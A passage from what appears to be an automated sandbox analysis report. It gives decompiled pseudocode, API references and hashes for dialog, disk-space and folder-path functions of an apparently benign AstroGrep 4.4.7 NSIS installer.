				long _t165;
				void* _t166;
				char* _t167;
				char* _t168;
				int _t169;

				_t87 =  *0x42dbe4; // 0x2040c
				_t157 = _a8;
				_t150 = 0;
				_v8 = _t87;
				if(_t157 != 0x110) {
					__eflags = _t157 - 0x405;
					if(_t157 == 0x405) {
						_t121 = CreateThread(0, 0, E0040501A, GetDlgItem(_a4, 0x3ec), 0,  &_a8); // executed
						CloseHandle(_t121);
					}
					__eflags = _t157 - 0x111;
					if(_t157 != 0x111) {
						L17:
						__eflags = _t157 - 0x404;
						if(_t157 != 0x404) {
							L25:
							__eflags = _t157 - 0x7b;
							if(_t157 != 0x7b) {
								goto L20;
							}
							_t89 = _v8;
							__eflags = _a12 - _t89;
							if(_a12 != _t89) {
								goto L20;
							}
							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
							__eflags = _t90 - _t150;
							_a12 = _t90;
							if(_t90 <= _t150) {
								L36:
								return 0;
							}
							_t163 = CreatePopupMenu();
							AppendMenuA(_t163, _t150, 1, E00405D51(_t150, _t157, _t163, _t150, 0xffffffe1));
							_t95 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t153 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v24);
								_t95 = _v24.left;
								_t153 = _v24.top;
							}
							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
							__eflags = _t96 - 1;
							if(_t96 == 1) {
								_t165 = 1;
								__eflags = 1;
								_v56 = _t150;
								_v44 = 0x429868;
								_v40 = 0xfff;
								_a4 = _a12;
								do {
									_a4 = _a4 - 1;
									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
									__eflags = _a4 - _t150;
									_t165 = _t165 + _t99 + 2;
								} while (_a4 != _t150);
								OpenClipboard(_t150);
								EmptyClipboard();
								_t102 = GlobalAlloc(0x42, _t165);
								_a4 = _t102;
								_t166 = GlobalLock(_t102);
								do {
									_v44 = _t166;
									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
									 *_t167 = 0xd;
									_t168 = _t167 + 1;
									 *_t168 = 0xa;
									_t166 = _t168 + 1;
									_t150 = _t150 + 1;
									__eflags = _t150 - _a12;
								} while (_t150 < _a12);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x42dbcc - _t150; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x42e408, 8); // executed
							__eflags =  *0x42e48c - _t150;
							if( *0x42e48c == _t150) {
								_t113 =  *0x429040; // 0x5f054c
								E00404F48( *((intOrPtr*)(_t113 + 0x34)), _t150); // executed
							}
							E00403EED(1);
							goto L25;
						}
						 *0x428c38 = 2;
						E00403EED(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403F7B(_t157, _a12, _a16);
						}
						ShowWindow( *0x42dbd0, _t150);
						ShowWindow(_v8, 8);
						E00403F49(_v8);
						goto L17;
					}
				}
				_v48 = _v48 | 0xffffffff;
				_v36 = _v36 | 0xffffffff;
				_t169 = 2;
				_v56 = _t169;
				_v52 = 0;
				_v44 = 0;
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				_t124 =  *0x42e410;
				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
				_a8 =  *((intOrPtr*)(_t124 + 0x60));
				 *0x42dbd0 = GetDlgItem(_a4, 0x403);
				 *0x42dbc8 = GetDlgItem(_a4, 0x3ee);
				_t128 = GetDlgItem(_a4, 0x3f8);
				 *0x42dbe4 = _t128;
				_v8 = _t128;
				E00403F49( *0x42dbd0);
				 *0x42dbd4 = E004047E6(4);
				 *0x42dbec = 0;
				GetClientRect(_v8,  &_v24);
				_v48 = _v24.right - GetSystemMetrics(_t169);
				SendMessageA(_v8, 0x101b, 0,  &_v56);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a12 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a12);
					SendMessageA(_v8, 0x1026, 0, _a12);
				}
				if(_a8 >= _t150) {
					SendMessageA(_v8, 0x1024, _t150, _a8);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403F14(_a4);
				if(( *0x42e418 & 0x00000003) != 0) {
					ShowWindow( *0x42dbd0, _t150);
					if(( *0x42e418 & 0x00000002) != 0) {
						 *0x42dbd0 = _t150;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403F49( *0x42dbc8);
				}
				_t161 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t161, 0x401, _t150, 0x75300000);
				if(( *0x42e418 & 0x00000004) != 0) {
					SendMessageA(_t161, 0x409, _t150, _a8);
					SendMessageA(_t161, 0x2001, _t150, _a12);
				}
				goto L36;
			}

0x0040508c
0x00405094
0x00405097
0x0040509f
0x004050a2
0x00405231
0x00405237
0x00405254
0x0040525b
0x0040525b
0x00405267
0x0040526d
0x0040528f
0x0040528f
0x00405295
0x004052ea
0x004052ea
0x004052ed
0x00000000
0x00000000
0x004052ef
0x004052f2
0x004052f5
0x00000000
0x00000000
0x004052ff
0x00405305
0x00405307
0x0040530a
0x00405407
0x00000000
0x00405407
0x00405319
0x00405325
0x0040532e
0x00405335
0x00405339
0x0040533c
0x00405345
0x0040534b
0x0040534e
0x0040534e
0x0040535e
0x00405364
0x00405367
0x00405372
0x00405372
0x00405373
0x00405376
0x0040537d
0x00405384
0x0040538c
0x0040538c
0x0040539a
0x004053a0
0x004053a3
0x004053a3
0x004053aa
0x004053b0
0x004053b9
0x004053c0
0x004053c9
0x004053cb
0x004053ce
0x004053dd
0x004053df
0x004053e2
0x004053e3
0x004053e6
0x004053e7
0x004053e8
0x004053e8
0x004053f0
0x004053fb
0x00405401
0x00405401
0x00000000
0x00405367
0x00405297
0x0040529d
0x004052cb
0x004052cd
0x004052d3
0x004052d5
0x004052de
0x004052de
0x004052e5
0x00000000
0x004052e5
0x004052a1
0x004052ab
0x00000000
0x0040526f
0x0040526f
0x00405275
0x004052b0
0x00000000
0x004052b7
0x0040527e
0x00405285
0x0040528a
0x00000000
0x0040528a
0x0040526d
0x004050a8
0x004050ac
0x004050b4
0x004050b8
0x004050bb
0x004050be
0x004050c1
0x004050c4
0x004050c5
0x004050c6
0x004050df
0x004050e2
0x004050ec
0x004050fb
0x00405103
0x0040510b
0x00405110
0x00405113
0x0040511f
0x00405128
0x00405131
0x00405153
0x00405159
0x0040516a
0x0040516f
0x0040517d
0x0040518b
0x0040518b
0x00405190
0x0040519e
0x0040519e
0x004051a3
0x004051a6
0x004051ab
0x004051b7
0x004051c0
0x004051cd
0x004051dc
0x004051cf
0x004051d4
0x004051d4
0x004051e8
0x004051e8
0x004051fc
0x00405205
0x0040520e
0x0040521e
0x0040522a
0x0040522a
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 004050E5
GetDlgItem.USER32(?,000003EE), ref: 004050F4
GetClientRect.USER32 ref: 00405131
GetSystemMetrics.USER32 ref: 00405138
SendMessageA.USER32 ref: 00405159
SendMessageA.USER32 ref: 0040516A
SendMessageA.USER32 ref: 0040517D
SendMessageA.USER32 ref: 0040518B
SendMessageA.USER32 ref: 0040519E
ShowWindow.USER32(00000000,?), ref: 004051C0
ShowWindow.USER32(?,00000008), ref: 004051D4
GetDlgItem.USER32(?,000003EC), ref: 004051F5
SendMessageA.USER32 ref: 00405205
SendMessageA.USER32 ref: 0040521E
SendMessageA.USER32 ref: 0040522A
GetDlgItem.USER32(?,000003F8), ref: 00405103

Part of subcall function 00403F49: SendMessageA.USER32 ref: 00403F57

GetDlgItem.USER32(?,000003EC), ref: 00405246
CreateThread.KERNELBASE(00000000,00000000,Function_0000501A,00000000), ref: 00405254
CloseHandle.KERNELBASE(00000000), ref: 0040525B
ShowWindow.USER32(00000000), ref: 0040527E
ShowWindow.USER32(?,00000008), ref: 00405285
ShowWindow.USER32(00000008), ref: 004052CB
SendMessageA.USER32 ref: 004052FF
CreatePopupMenu.USER32 ref: 00405310
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405325
GetWindowRect.USER32 ref: 00405345
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040535E
SendMessageA.USER32 ref: 0040539A
OpenClipboard.USER32(00000000), ref: 004053AA
EmptyClipboard.USER32 ref: 004053B0
GlobalAlloc.KERNEL32(00000042,?), ref: 004053B9
GlobalLock.KERNEL32 ref: 004053C3
SendMessageA.USER32 ref: 004053D7
GlobalUnlock.KERNEL32(00000000), ref: 004053F0
SetClipboardData.USER32 ref: 004053FB
CloseClipboard.USER32 ref: 00405401

Strings

AstroGrep v4.4.7 Setup , xrefs: 00405376

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: AstroGrep v4.4.7 Setup
API String ID: 590372296-2178112666
Opcode ID: 187076f3dd6848624a65fd1477bc2b03b40e2609a833b2ec2f2a020f5caa7b6d
Instruction ID: b5f1ce2ce4d05df4ba5ebffd303825d409c0ca4f752acec20acacd4dcda6ac6e
Opcode Fuzzy Hash: 187076f3dd6848624a65fd1477bc2b03b40e2609a833b2ec2f2a020f5caa7b6d
Instruction Fuzzy Hash: C9A14871900208BFEB119FA0DD89AAE7F79FB08354F10407AFA01BA1A0C7755E51DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00404352, Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 274
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00404352(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				union _ULARGE_INTEGER _v28;
				intOrPtr _v32;
				long _v36;
				union _ULARGE_INTEGER _v40;
				unsigned int _v44;
				union _ULARGE_INTEGER _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				struct %anon54 _t109;
				signed char _t114;
				signed int _t118;
				struct HWND__** _t122;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed char* _t160;
				long _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;
				void* _t205;

				_t156 = __edx;
				_t82 =  *0x429040; // 0x5f054c
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xa) + 0x42f000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405509(0x3fb, _t146);
					E00405F9A(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405509(0x3fb, _t146);
							if(E0040588F(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405D2F(0x428838, _t146);
							_t87 = E004060C8(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405D2F(0x428838, _t146);
								_t89 = E0040583A(0x428838);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x428838,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48.LowPart = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x428838) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = GetDiskFreeSpaceExA(0x428838,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E004057E8(0x428838);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160 - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x428838) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48.LowPart = (_t150 << 0x00000020 | _v48.LowPart) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E004047E6(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48.LowPart < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x42dbdc; // 0x603445
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E004047CE(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x428828);
									} else {
										E00404709(_t168, 0xfffffffc, _v48.LowPart, _v44); // executed
									}
								}
								_t96 = _v8;
								 *0x42e4a4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00403F36(0 | _v8 == _t158);
								if(_v8 == _t158) {
									_t205 =  *0x429858 - _t158; // 0x0
									if(_t205 == 0) {
										E004042E7();
									}
								}
								 *0x429858 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x429868;
							_v60 = E004046A3;
							_v56 = _t146;
							_v68 = E00405D51(_t146, 0x429868, _t166, 0x428c40, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004057A1(_t146);
								_t125 =  *((intOrPtr*)( *0x42e410 + 0x11c));
								if( *((intOrPtr*)( *0x42e410 + 0x11c)) != 0 && _t146 == "C:\\Program Files (x86)\\AstroGrep") {
									E00405D51(_t146, 0x429868, _t166, 0, _t125);
									if(lstrcmpiA(0x42d3a0, 0x429868) != 0) {
										lstrcatA(_t146, 0x42d3a0);
									}
								}
								 *0x429858 =  *0x429858 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					} else {
						_a8 = 0x40f;
						goto L12;
					}
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E0040580E(_t146) != 0 && E0040583A(_t146) == 0) {
						E004057A1(_t146);
					}
					 *0x42dbd8 = _t166; // executed
					SetWindowTextA(_t165, _t146); // executed
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403F14(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403F14(_t166);
					E00403F49(_t165);
					if(E004060C8(6) == 0) {
						L53:
						return E00403F7B(_a8, _a12, _a16);
					} else {
						SHAutoComplete(_t165, 1); // executed
						goto L8;
					}
				}
			}

0x00404352
0x00404358
0x0040435e
0x0040436b
0x00404379
0x0040437c
0x00404384
0x0040438a
0x0040438a
0x00404396
0x00404399
0x00404407
0x0040440e
0x004044e5
0x004044ec
0x004044fb
0x004044fb
0x004044ff
0x00404509
0x00404516
0x00404518
0x00404518
0x00404526
0x0040452d
0x00404534
0x00404537
0x0040456e
0x00404570
0x00404576
0x0040457b
0x0040457f
0x00404581
0x00404581
0x0040459d
0x00000000
0x0040459f
0x004045a2
0x004045b0
0x004045b6
0x004045b7
0x004045ba
0x004045bd
0x00000000
0x004045bd
0x00404539
0x0040453b
0x0040453f
0x00000000
0x00000000
0x00000000
0x00000000
0x00404541
0x00404541
0x0040454e
0x00404553
0x00000000
0x00000000
0x00404557
0x00404559
0x00404559
0x00404561
0x00404563
0x00404566
0x00404569
0x0040456c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040456c
0x004045c9
0x004045d3
0x004045d6
0x004045d9
0x004045e0
0x004045e0
0x004045e2
0x004045e2
0x004045e7
0x004045e9
0x004045f1
0x004045f8
0x004045fa
0x00404605
0x00404605
0x004045fa
0x0040460c
0x00404615
0x0040461f
0x00404627
0x00404642
0x00404629
0x00404632
0x00404632
0x00404627
0x00404647
0x0040464c
0x00404651
0x0040465a
0x0040465a
0x00404663
0x00404665
0x00404665
0x00404671
0x00404679
0x0040467b
0x00404681
0x00404683
0x00404683
0x00404681
0x00404688
0x00000000
0x00404688
0x00404537
0x004044ee
0x004044f5
0x00000000
0x00000000
0x00000000
0x004044f5
0x00404414
0x0040441d
0x00404437
0x0040443c
0x00404446
0x0040444d
0x00404459
0x0040445c
0x0040445f
0x00404466
0x0040446e
0x00404471
0x00404475
0x0040447c
0x00404484
0x004044de
0x00404486
0x00404487
0x0040448e
0x00404498
0x004044a0
0x004044ad
0x004044c1
0x004044c5
0x004044c5
0x004044c1
0x004044ca
0x004044d7
0x004044d7
0x00404484
0x00000000
0x0040443c
0x0040442a
0x00000000
0x00404430
0x00404430
0x00000000
0x00404430
0x0040439b
0x004043a8
0x004043b1
0x004043be
0x004043be
0x004043c5
0x004043cb
0x004043d4
0x004043d7
0x004043da
0x004043e2
0x004043e5
0x004043e8
0x004043ee
0x004043fc
0x0040468e
0x004046a0
0x00404402
0x00404405
0x00000000
0x00404405
0x004043fc

APIs

GetDlgItem.USER32(?,000003FB), ref: 004043A1
SetWindowTextA.USER32(00000000,?), ref: 004043CB
SHAutoComplete.SHLWAPI(00000000,00000001,00000006,00000000,?,00000014,?,?,00000001,?), ref: 00404405
SHBrowseForFolderA.SHELL32(?,00428C40,?), ref: 0040447C
CoTaskMemFree.OLE32(00000000), ref: 00404487
lstrcmpiA.KERNEL32(Remove folder: ,AstroGrep v4.4.7 Setup ,00000000,?,?), ref: 004044B9
lstrcatA.KERNEL32(?,Remove folder: ), ref: 004044C5
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044D7

Part of subcall function 00405509: GetDlgItemTextA.USER32 ref: 0040551C

Part of subcall function 00405F9A: CharNextA.USER32(?), ref: 00405FF2
Part of subcall function 00405F9A: CharNextA.USER32(?), ref: 00405FFF
Part of subcall function 00405F9A: CharNextA.USER32(?), ref: 00406004
Part of subcall function 00405F9A: CharPrevA.USER32(?,?), ref: 00406014

GetDiskFreeSpaceExA.KERNELBASE(C:\Program Files (x86)\,?,?,?,00000001,C:\Program Files (x86)\,?,?,000003FB,?), ref: 0040454E
GetDiskFreeSpaceA.KERNEL32(C:\Program Files (x86)\,?,?,0000040F,?,C:\Program Files (x86)\,C:\Program Files (x86)\,?,00000001,C:\Program Files (x86)\,?,?,000003FB,?), ref: 00404595
MulDiv.KERNEL32 ref: 004045B0

Part of subcall function 00404709: lstrlenA.KERNEL32(AstroGrep v4.4.7 Setup ,AstroGrep v4.4.7 Setup ,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404624,000000DF,00000000,00000400,?), ref: 004047A7
Part of subcall function 00404709: wsprintfA.USER32 ref: 004047AF
Part of subcall function 00404709: SetDlgItemTextA.USER32(?,AstroGrep v4.4.7 Setup ), ref: 004047C2

Strings

C:\Program Files (x86)\AstroGrep, xrefs: 004044A2
AstroGrep v4.4.7 Setup , xrefs: 0040444F, 004044B2
A, xrefs: 00404475
Remove folder: , xrefs: 004044B3, 004044B8, 004044C3
C:\Program Files (x86)\, xrefs: 0040451F, 00404525, 0040454D, 0040455B, 0040456F, 00404575, 00404594
E4`, xrefs: 0040460C

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$FreeNext$DiskSpace$AutoBrowseCompleteFolderPrevTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$AstroGrep v4.4.7 Setup $C:\Program Files (x86)\$C:\Program Files (x86)\AstroGrep$E4`$Remove folder:
API String ID: 4039761011-2531324858
Opcode ID: 51479397fbbd838061552f249f671c3551ae327016cead83452ae8504ab1da61
Instruction ID: ab5132907fc5b2f665edfad9f17b3ca32a66d27d09768481e079f0ca797b6646
Opcode Fuzzy Hash: 51479397fbbd838061552f249f671c3551ae327016cead83452ae8504ab1da61
Instruction Fuzzy Hash: 07A194B1900209ABDB11AFA2CC45AAF77B8EF85314F10843BF601B62D1D77C8941CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00405D51, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00405D51(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t37;
				CHAR* _t38;
				signed int _t40;
				int _t41;
				char _t51;
				char _t52;
				char _t54;
				char _t56;
				void* _t64;
				signed int _t70;
				signed int _t75;
				signed int _t76;
				intOrPtr _t80;
				char _t82;
				void* _t86;
				CHAR* _t87;
				void* _t89;
				signed int _t96;
				signed int _t98;
				void* _t99;

				_t89 = __esi;
				_t86 = __edi;
				_t64 = __ebx;
				_t37 = _a8;
				if(_t37 < 0) {
					_t80 =  *0x42dbdc; // 0x603445
					_t37 =  *(_t80 - 4 + _t37 * 4);
				}
				_push(_t64);
				_t75 =  *0x42e438 + _t37;
				_t38 = 0x42d3a0;
				_push(_t89);
				_push(_t86);
				_t87 = 0x42d3a0;
				if(_a4 >= 0x42d3a0 && _a4 - 0x42d3a0 < 0x800) {
					_t87 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t82 =  *_t75;
					if(_t82 == 0) {
						break;
					}
					__eflags = _t87 - _t38 - 0x400;
					if(_t87 - _t38 >= 0x400) {
						break;
					}
					_t75 = _t75 + 1;
					__eflags = _t82 - 4;
					_a8 = _t75;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t87 = _t82;
							_t87 =  &(_t87[1]);
							__eflags = _t87;
						} else {
							 *_t87 =  *_t75;
							_t87 =  &(_t87[1]);
							_t75 = _t75 + 1;
						}
						continue;
					}
					_t40 =  *(_t75 + 1);
					_t76 =  *_t75;
					_t96 = (_t40 & 0x0000007f) << 0x00000007 | _t76 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t76 | 0x00000080;
					_t70 = _t76;
					_v24 = _t70;
					__eflags = _t82 - 2;
					_v20 = _t40 | 0x00000080;
					_v16 = _t40;
					if(_t82 != 2) {
						__eflags = _t82 - 3;
						if(_t82 != 3) {
							__eflags = _t82 - 1;
							if(_t82 == 1) {
								__eflags = (_t40 | 0xffffffff) - _t96;
								E00405D51(_t70, _t87, _t96, _t87, (_t40 | 0xffffffff) - _t96);
							}
							L42:
							_t41 = lstrlenA(_t87);
							_t75 = _a8;
							_t87 =  &(_t87[_t41]);
							_t38 = 0x42d3a0;
							continue;
						}
						__eflags = _t96 - 0x1d;
						if(_t96 != 0x1d) {
							__eflags = (_t96 << 0xa) + 0x42f000;
							E00405D2F(_t87, (_t96 << 0xa) + 0x42f000);
						} else {
							E00405C8D(_t87,  *0x42e408);
						}
						__eflags = _t96 + 0xffffffeb - 7;
						if(_t96 + 0xffffffeb < 7) {
							L33:
							E00405F9A(_t87);
						}
						goto L42;
					}
					_t98 = 2;
					_t51 = GetVersion();
					__eflags = _t51;
					if(_t51 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x42e484;
						if( *0x42e484 != 0) {
							_t98 = 4;
						}
						__eflags = _t70;
						if(_t70 >= 0) {
							__eflags = _t70 - 0x25;
							if(_t70 != 0x25) {
								__eflags = _t70 - 0x24;
								if(_t70 == 0x24) {
									GetWindowsDirectoryA(_t87, 0x400);
									_t98 = 0;
								}
								while(1) {
									__eflags = _t98;
									if(_t98 == 0) {
										goto L30;
									}
									_t52 =  *0x42e404;
									_t98 = _t98 - 1;
									__eflags = _t52;
									if(_t52 == 0) {
										L26:
										_t54 = SHGetSpecialFolderLocation( *0x42e408,  *(_t99 + _t98 * 4 - 0x18),  &_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											L28:
											 *_t87 =  *_t87 & 0x00000000;
											__eflags =  *_t87;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t87);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t56 =  *_t52( *0x42e408,  *(_t99 + _t98 * 4 - 0x18), 0, 0, _t87);
									__eflags = _t56;
									if(_t56 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryA(_t87, 0x400);
							goto L30;
						} else {
							_t73 = (_t70 & 0x0000003f) +  *0x42e438;
							E00405C16(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t70 & 0x0000003f) +  *0x42e438, _t87, _t70 & 0x00000040); // executed
							__eflags =  *_t87;
							if( *_t87 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t87, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E00405D51(_t73, _t87, _t98, _t87, _v16);
							L30:
							__eflags =  *_t87;
							if( *_t87 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t51 - 0x5a04;
					if(_t51 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t87 =  *_t87 & 0x00000000;
				if(_a4 == 0) {
					return _t38;
				}
				return E00405D2F(_a4, _t38);
			}

0x00405d51
0x00405d51
0x00405d51
0x00405d57
0x00405d5c
0x00405d5e
0x00405d6d
0x00405d6d
0x00405d75
0x00405d76
0x00405d78
0x00405d80
0x00405d81
0x00405d82
0x00405d84
0x00405d9b
0x00405d9e
0x00405d9e
0x00405f77
0x00405f77
0x00405f7b
0x00000000
0x00000000
0x00405dab
0x00405db1
0x00000000
0x00000000
0x00405db7
0x00405db8
0x00405dbb
0x00405dbe
0x00405f6a
0x00405f74
0x00405f76
0x00405f76
0x00405f6c
0x00405f6e
0x00405f70
0x00405f71
0x00405f71
0x00000000
0x00405f6a
0x00405dc4
0x00405dc8
0x00405dd8
0x00405ddc
0x00405de3
0x00405de6
0x00405dea
0x00405df0
0x00405df3
0x00405df6
0x00405df9
0x00405f14
0x00405f17
0x00405f47
0x00405f4a
0x00405f4f
0x00405f53
0x00405f53
0x00405f58
0x00405f59
0x00405f5e
0x00405f61
0x00405f63
0x00000000
0x00405f63
0x00405f19
0x00405f1c
0x00405f31
0x00405f38
0x00405f1e
0x00405f25
0x00405f25
0x00405f40
0x00405f43
0x00405f0c
0x00405f0d
0x00405f0d
0x00000000
0x00405f43
0x00405e01
0x00405e02
0x00405e08
0x00405e0a
0x00405e24
0x00405e24
0x00405e2b
0x00405e2b
0x00405e32
0x00405e36
0x00405e36
0x00405e37
0x00405e39
0x00405e72
0x00405e75
0x00405e85
0x00405e88
0x00405e90
0x00405e96
0x00405e96
0x00405ef2
0x00405ef2
0x00405ef4
0x00000000
0x00000000
0x00405e9a
0x00405ea1
0x00405ea2
0x00405ea4
0x00405ebe
0x00405ecc
0x00405ed2
0x00405ed4
0x00405eef
0x00405eef
0x00405eef
0x00000000
0x00405eef
0x00405eda
0x00405ee5
0x00405eeb
0x00405eed
0x00000000
0x00000000
0x00000000
0x00405eed
0x00405ea6
0x00405ea9
0x00000000
0x00000000
0x00405eb8
0x00405eba
0x00405ebc
0x00000000
0x00000000
0x00000000
0x00405ebc
0x00000000
0x00405ef2
0x00405e7d
0x00000000
0x00405e3b
0x00405e40
0x00405e56
0x00405e5b
0x00405e5e
0x00405efb
0x00405efb
0x00405eff
0x00405f07
0x00405f07
0x00000000
0x00405eff
0x00405e68
0x00405ef6
0x00405ef6
0x00405ef9
0x00000000
0x00000000
0x00000000
0x00405ef9
0x00405e39
